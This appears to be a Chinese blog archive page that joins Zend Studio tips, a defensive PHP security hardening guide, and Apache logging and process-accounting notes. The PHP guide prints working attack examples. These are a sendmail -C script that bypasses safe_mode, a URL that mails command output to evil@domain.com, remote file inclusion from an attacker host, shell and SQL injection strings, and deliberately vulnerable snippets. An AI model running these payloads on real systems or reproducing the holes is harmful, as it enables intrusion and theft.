在使用中,我发现Build的作用应该是为整个项目建立一个索引和预读取,加快查找和载入文件的速度,但不必要让zend 自动Build项目,他还没有聪明到知道自己该什么时候build才会让主人不觉得卡,所以,取消Build Automatically会让你觉得你的Zend Studio跑的快了点。你可以在添加完项目或者在修改过项目之后,右键点击项目,然后选择Build Project

2、开启智能插入模式
勾选 Edit->Smart Insert Mode

3、快捷键加注释
使用ctrl + / 增加和取消一行的注释
使用ctrl + shift + / 注释一个代码块
使用ctrl + shift + 取消注释一个代码块

4、设置代码格式
Window->Preferences->PHP->Code Style->Formatter

选择Show之后,可以设置类、方法、for语句块、switch语句中的代码是否需要缩进,设置类、方法、语句块中的前半个大括号是直接跟在本行结尾还是换到下一行,还有许多,可以自己查看

选择文件:使用快捷键ctrl + shift + f可以快速将你的php文件格式化为你设置的格式,也可以使用菜单栏的Source -> Format

5、修改配置文件ZendStudio.ini
加大zendstudio的使用内存,也就是讲XXMaxPermSize加大到512m,如果你的内存足够大到4G,那么你这里使用1024都可以,修改完后的配置文件内容如下:

 

-startup
plugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar
--launcher.library
plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502
--launcher.XXMaxPermSize
512m
--launcher.defaultAction
openFile
-showlocation
-name
Zend Studio
-vmargs
-Xms128M
-Xmx512M
-DGIT_SSL_NO_VERIFY=true
 

6、加快鼠标经过时代码提示速度
选择Window -> Preferences -> PHP -> Editor -> Content Assist ->Auto Activation
将Auto activation delay(in msecs)设置为50,默认值可能是200或者500

7、使用空格代替tab
选择Window -> Preferences -> PHP -> Code Style -> Formatter
一、选择Zend Framework Coventions[build-in],然后在Window -> Preferences -> General -> Editors -> Text Editors中如下设置:

二、如果是自定义的话,点击Edit,在Indentation选项卡中,设置Tab policy为Spaces,然后在Indentation size填写使用的空格数,

8、快速搜索方法和类:
之前我更习惯于在项目文件夹上直接点击右键,然后选择Search进行查找,这样的话ZendStudio会去扫描所有文件,比较耗时。
如果只是需要查找方法的话,可以使用快捷键ctrl + shift + M
根据类名称查找的话使用快捷键ctrl + shift + T
速度真的很快

9、添加新的文件类型:

drupal中的模块后缀名是*.module,我们使用zend打开的时候是纯文本内容,不会有代码高亮的效果,设置方法:
选择:Window -> Preferences -> General -> Content Types
点开右侧的Text,选择php content type,点击Add按钮,在弹出框中输入*.module,最后保存即可

将*.tpl添加到HTML中也是类似操作

79月/100

PHP安全配置

发布在 邵珠庆

一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远 了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和 PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接 MySQL时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发 送邮件也是个问题,因为php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode 的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

执行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id│mail evil@domain.com

这将id执行的结果发送给evil@domain.com。

对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和 get_cfg_var()函数可以得到配置选项的各个值。

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的 Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选 项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是 Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数 以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:
Options FollowSymLinks
php_admin_value safe_mode 1

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

几个文件的属性如下:

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。 所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:

safe_mode_gid = On

设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而 且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。

指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请 在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!

safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用 safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程 序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:

//test_1.php

if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>

攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、 COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是 register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

解决方法:

配置文件php.ini设置register_globals = Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:

//test_2.php

if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
/n");
exit;
}
else {
echo $str;
}
?>

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:
php_admin_value open_basedir /usr/local/apache/htdocs
重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:
//test_3.php
if(file_exists($filename))
include("$filename");
?>

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命 令的文件,如http://attack/attack.txt的内容是<;?passthru("ls /etc")?>,那么如下的请求就可以在目标主机执行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:

//test_4.php

include("$lib/config.php");
?>

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

allow_url_fopen = Off

重启apache。

5、文件上传

php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录, 如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量 名是file,而且register_globals打开)

$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型

推荐使用:

$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']

这是一个最简单的文件上传代码:

//test_5.php

if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功!点击 继续上传 ";
exit;
}
?>

上传文件:


这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:
http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt
然后可以用如下请求读取口令文件:
http://victim/test/attack.txt

攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。

解决方法:

PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。

把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。
严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:

php_flag engine off
#如果是php3换成php3_engine off

重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。

6、命令执行

下面的代码片断是从PHPNetToolpack摘出,详细的描述见:

http://www.securityfocus.com/bid/4303

//test_6.php

system("traceroute $a_query",$ret_strs);
?>

由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。

攻击者输入如下请求可以执行cat /etc/passwd命令:

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。

解决方法:

要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。

启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。

7、sql_inject

如下的SQL语句如果未对变量进行处理就会存在问题:

select * from login where user='$user' and pass='$pass'

攻击者可以用户名和口令都输入1' or 1='1绕过验证。

不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:

select * from login where user='1/' or 1=/'1' and pass='1/' or 1=/'1'

从而避免了此类sql_inject攻击。

对于数字类型的字段,很多程序员会这样写:

select * from test where id=$id

由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语 句,而且PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查 询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。

解决方法:

要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。
在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。

8、警告及错误信息

PHP默认显示所有的警告及错误信息:

error_reporting = E_ALL & ~E_NOTICE
display_errors = On

在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。
正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访 问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己 知道程序错误所在。

修改php.ini中关于Error handling and logging部分内容:

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。

9、disable_functions

如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。

10、disable_classes

这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限 制实际上是前缀,不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。
可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。

四、其它安全配置

1、取消其它用户对常用、重要系统命令的读写执行权限

一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命 令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在Linux下可以用/lib/ld- linux.so.2 /bin/ls这种方式来执行。
如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运 行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,

2、去掉apache日志其它用户的读权限

apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。
如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。

当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

246月/100

Apache日志配置

发布在 邵珠庆

有时候我们需要定制Apache 默认日志的格式和内容,比如增加或减少日志所记录的信息、改变默认日志文件的格式等。本文介绍可以用日志记录的所有信息,以及如何设置Apache 使其记录这些信息。

一、定义日志格式(4月3日)

很久以前,日志文件只有一种格式,这就是“公共格式”,许多人已经习惯于使用这种格式。随后出现了定制日志格式,而且看起来定制日志格式更很受欢迎,即使 公共日志格式本身也重新用定制日志格式定义。本文介绍的就是如何随心所欲地定制日志文件的格式、如何让日志文件记录自己想要的信息。

定制日志文件的格式涉及到两个指令,即LogFormat指令和CustomLog指令,默认httpd.conf文件提供了关于这两个指令的几个示例。

LogFormat指令定义格式并为格式指定一个名字,以后我们就可以直接引用这个名字。CustomLog指令设置日志文件,并指明日志文件所用的格式 (通常通过格式的名字)。

LogFormat指令的功能是定义日志格式并为它指定一个名字。例如,在默认的httpd.conf文件中,我们可以找到下面这行代码:

LogFormat "%h %l %u %t /"%r/" %>s %b" common

该指令创建了一种名为“common”的日志格式,日志的格式在双引号包围的内容中指定。格式字符串中的每一个变量代表着一项特定的信息,这些信息按照格 式串规定的次序写入到日志文件。
Apache 文档已经给出了所有可用于格式串的变量及其含义,下面是其译文:
%...a: 远程IP地址
%...A: 本地IP地址
%...B: 已发送的字节数,不包含HTTP头
%...b: CLF格式的已发送字节数量,不包含HTTP头。例如当没有发送数据时,写入‘-’而不是0。
%...{FOOBAR}e: 环境变量FOOBAR的内容
%...f: 文件名字
%...h: 远程主机
%...H 请求的协议
%...{Foobar}i: Foobar的内容,发送给服务器的请求的标头行。
%...l: 远程登录名字(来自identd,如提供的话)
%...m 请求的方法
%...{Foobar}n: 来自另外一个模块的注解“Foobar”的内容
%...{Foobar}o: Foobar的内容,应答的标头行
%...p: 服务器响应请求时使用的端口
%...P: 响应请求的子进程ID。
%...q 查询字符串(如果存在查询字符串,则包含“?”后面的部分;否则,它是一个空字符串。)
%...r: 请求的第一行
%...s: 状态。对于进行内部重定向的请求,这是指*原来*请求 的状态。如果用%...>s,则是指后来的请求。
%...t: 以公共日志时间格式表示的时间(或称为标准英文格式)
%...{format}t: 以指定格式format表示的时间
%...T: 为响应请求而耗费的时间,以秒计
%...u: 远程用户(来自auth;如果返回状态(%s)是401则可能是伪造的)
%...U: 用户所请求的URL路径
%...v: 响应请求的服务器的ServerName
%...V: 依照UseCanonicalName设置得到的服务器名字

在所有上面列出的变量中,“...”表示一个可选的条件。如果没有指定条件,则变量的值将以“-”取代。分析前面来自默认httpd.conf文件的 LogFormat指令示例,可以看出它创建了一种名为“common”的日志格式,其中包括:远程主机,远程登录名字,远程用户,请求时间,请求的第一 行代码,请求状态,以及发送的字节数。

有时候我们只想在日志中记录某些特定的、已定义的信息,这时就要用到“...”。如果在“%”和变量之间放入了一个或者多个HTTP状态代码,则只有当请 求返回的状态代码属于指定的状态代码之一时,变量所代表的内容才会被记录。例如,如果我们想要记录的是网站的所有无效链接,那么可以使用:

LogFormat %404{Referer}i BrokenLinks

反之,如果我们想要记录那些状态代码不等于指定值的请求,只需加入一个“!”符号即可:

 

Apache 日志:访问日志(一)
想要知道什么人在什么时候浏览了网站的哪些内容吗?查看Apache 的访问日志就可以知道。访问日志是Apache 的标准日志,本文详细解释了访问日志的内容以及相关选项的配置。

一、访问日志的格式

Apache 内建了记录服务器活动的功能,这就是它的日志功能。这个《Apache 日志》系列文章介绍的就是Apache 的访问日志、错误日志,以及如何分析日志数据,如何定制Apache 日志,如何从日志数据生成统计报表等内容。

如果Apache 的安装方式是默认安装,服务器一运行就会有两个日志文件生成。这两个文件是access_log(在Windows上是access.log)和 error_log(在Windows上是error.log)。采用默认安装方式时,这些文件可以在/usr/local/apache /logs下找到;对于Windows系统,这些日志文件将保存在Apache 安装目录的logs子目录。不同的包管理器会把日志文件放到各种不同的位置,所以你可能需要找找其他的地方,或者通过配置文件查看这些日志文件配置到了什 么地方。

正如其名字所示,访问日志access_log记录了所有对Web服务器的访问活动。下面是访问日志中一个典型的记录:

216.35.116.91 - - [19/Aug/2000:14:47:37 -0400] "GET / HTTP/1.0" 200 654

这行内容由7项构成,上面的例子中有两项空白,但整行内容仍旧分成了7项。

第一项信息是远程主机的地址,即它表明访问网站的究竟是谁。在上面的例子中,访问网站的主机是216.35.116.91。随便说一句,这个地址属于一台 名为si3001.inktomi.com的机器(要找出这个信息,可以使用nslookup工具查找DNS),inktomi.com是一家制作Web 搜索软件的公司。可以看出,仅仅从日志记录的第一项出发,我们就可以得到有关访问者的不少信息。

默认情况下,第一项信息只是远程主机的IP地址,但我们可以要求Apache 查出所有的主机名字,并在日志文件中用主机名字来替代IP地址。然而,这种做法通常不值得推荐,因为它将极大地影响服务器记录日志的速度,从而也就减低了 整个网站的效率。另外,有许多工具能够将日志文件中的IP地址转换成主机名字,因此要求Apache 记录主机名字替代IP地址是得不偿失的。

然而,如果确实有必要让Apache 找出远程主机的名字,那么我们可以使用如下指令:

HostNameLookups on

如果HostNameLookups设置成double而不是on,日志记录程序将对它找到的主机名字进行反向查找,验证该主机名字确实指向了原来出现的 IP地址。默认情况下HostNameLookups设置为off。

上例日志记录中的第二项是空白,用一个“-”占位符替代。实际上绝大多数时候这一项都是如此。这个位置用于记录浏览者的标识,这不只是浏览者的登录名字, 而是浏览者的email地址或者其他唯一标识符。这个信息由identd返回,或者直接由浏览器返回。很早的时候,那时Netscape 0.9还占据着统治地位,这个位置往往记录着浏览者的email地址。然而,由于有人用它来收集邮件地址和发送垃圾邮件,所以它未能保留多久,很久之前市 场上几乎所有的浏览器就取消了这项功能。因此,到了今天,我们在日志记录的第二项看到email地址的机会已经微乎其微了。

日志记录的第三项也是空白。这个位置用于记录浏览者进行身份验证时提供的名字。当然,如果网站的某些内容要求用户进行身份验证,那么这项信息是不会空白 的。但是,对于大多数网站来说,日志文件的大多数记录中这一项仍旧是空白的。

日志记录的第四项是请求的时间。这个信息用方括号包围,而且采用所谓的“公共日志格式”或“标准英文格式”。因此,上例日志记录表示请求的时间是2000 年8月19日星期三14:47:37。时间信息最后的“-0400”表示服务器所处时区位于UTC之前的4小时。

日志记录的第五项信息或许是整个日志记录中最有用的信息,它告诉我们服务器收到的是一个什么样的请求。该项信息的典型格式是“METHOD RESOURCE PROTOCOL”,即“方法 资源 协议”。

在上例中,METHOD是GET,其他经常可能出现的METHOD还有POST和HEAD。此外还有不少可能出现的合法METHOD,但主要就是这三种。

RESOURCE是指浏览者向服务器请求的文档,或URL。在这个例子中,浏览者请求的是“/”,即网站的主页或根。大多数情况下,“/”指向 DocumentRoot目录的index.html文档,但根据服务器配置的不同它也可能指向其他文件。

PROTOCOL通常是HTTP,后面再加上版本号。版本号或者是1.0,或者是1.1,但出现1.0的时候比较多。我们知道,HTTP协议是Web得以 工作的基础,HTTP/1.0是HTTP协议的早期版本,而1.1是最近的版本。当前大多数Web客户程序仍使用1.0版本的HTTP协议。

日志记录的第六项信息是状态代码。它告诉我们请求是否成功,或者遇到了什么样的错误。大多数时候,这项值是200,它表示服务器已经成功地响应浏览器的请 求,一切正常。此处不准备给出状态代码的完整清单以及解释它们的含义,请参考相关资料了解这方面的信息。但一般地说,以2开头的状态代码表示成功,以3开 头的状态代码表示由于各种不同的原因用户请求被重定向到了其他位置,以4开头的状态代码表示客户端存在某种错误,以5开头的状态代码表示服务器遇到了某个 错误。

日志记录的第七项表示发送给客户端的总字节数。它告诉我们传输是否被打断(即,该数值是否和文件的大小相同)。把日志记录中的这些值加起来就可以得知服务 器在一天、一周或者一月内发送了多少数据。

二、配置访问日志

访问日志文件的位置实际上是一个配置选项。如果我们检查httpd.conf配置文件,可以看到该文件中有如下这行内容:

CustomLog /usr/local/apache /logs/access_log common
注意,对于版本较早的Apache 服务器,这行内容可能略有不同。它使用的可能不是CustomLog指令,而是TransferLog指令。如果你的服务器属于这类情况,建议你尽可能地 早日升级服务器。

CustomLog指令指定了保存日志文件的具体位置以及日志的格式。至于如何定制日志文件的格式以及内容,我们将在这个《Apache日志》系列文章的后面几篇讨论。上面这行指令指定的是common日志格式,自从有了Web服务器开始,common格式就是它的标准格式。由此我们也可 以理解,虽然几乎不再有任何客户程序向服务器提供用户的标识信息,但访问日志却还保留着第二项内容。

CustomLog指令中的路径是日志文件的路径。注意,由于日志文件是由HTTP用户打开的(用User指令指定),因此必须注意这个路径要有安全保 证,防止该文件被随意改写。

Apache 日志》系列文章的后面几篇将继续介绍:Apache 错误日志,定制日志的格式和内容,如何将日志内容写入指定的程序而不是文件,如何从日志文件获得一些非常有用的统计信息,等等。
Apache 日志:访问日志(二)

3. 进程统计

UNIX可以跟踪每个用户运行的每条命令,如果想知道昨晚弄乱了哪些重要的文件,进程统计子系统可以告诉 你。它对还跟踪一个侵入者有帮助。与连接时间日志不同,进程统计子系统缺省不激活,它必须启动。在Linux系统中启动进程统计使用accton命令,必 须用root身份来运行。Accton命令的形式accton file,file必须先存在。先使用touch命令来创建pacct文件:touch /var/log/pacct,然后运行accton: accton /var/log/pacct。一旦accton被激活,就可以使用lastcomm命令监测系统中任何时候执行的命令。若要关闭统计,可以使用不带任何 参数的accton命令。

lastcomm命令报告以前执行的文件。不带参数时,lastcomm命令显示当前统计文件生命周期内纪录的所有命令的有关信息。包括命令名、用 户、tty、命令花费的CPU时间和一个时间戳。如果系统有许多用户,输入则可能很长。下面的例子:

crond F root ?? 0.00 secs Sun Aug 20 00:16
promisc_check.s S root ?? 0.04 secs Sun Aug 20 00:16
promisc_check root ?? 0.01 secs Sun Aug 20 00:16
grep root ?? 0.02 secs Sun Aug 20 00:16
tail root ?? 0.01 secs Sun Aug 20 00:16
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.01 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.02 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.02 secs Sun Aug 20 00:15
sh root ?? 0.02 secs Sun Aug 20 00:15
ping S root ?? 0.00 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.02 secs Sun Aug 20 00:15
ping S root ?? 1.34 secs Sun Aug 20 00:15
locate root ttyp0 1.34 secs Sun Aug 20 00:15
accton S root ttyp0 0.00 secs Sun Aug 20 00:15

进程统计的一个问题是pacct文件可能增长的十分迅速。这时需要交互式的或经过cron机制运行sa命令来保持日志数据在系统控制内。sa命令报告、 清理并维护进程统计文件。它能把/var/log/pacct中的信息压缩到摘要文件/var/log/savacct和/var/log /usracct中。这些摘要包含按命令名和用户名分类的系统统计数据。sa缺省情况下先读它们,然后读pacct文件,使报告能包含所有的可用信息。 sa的输出有下面一些标记项:

avio--每次执行的平均I/O操作次数
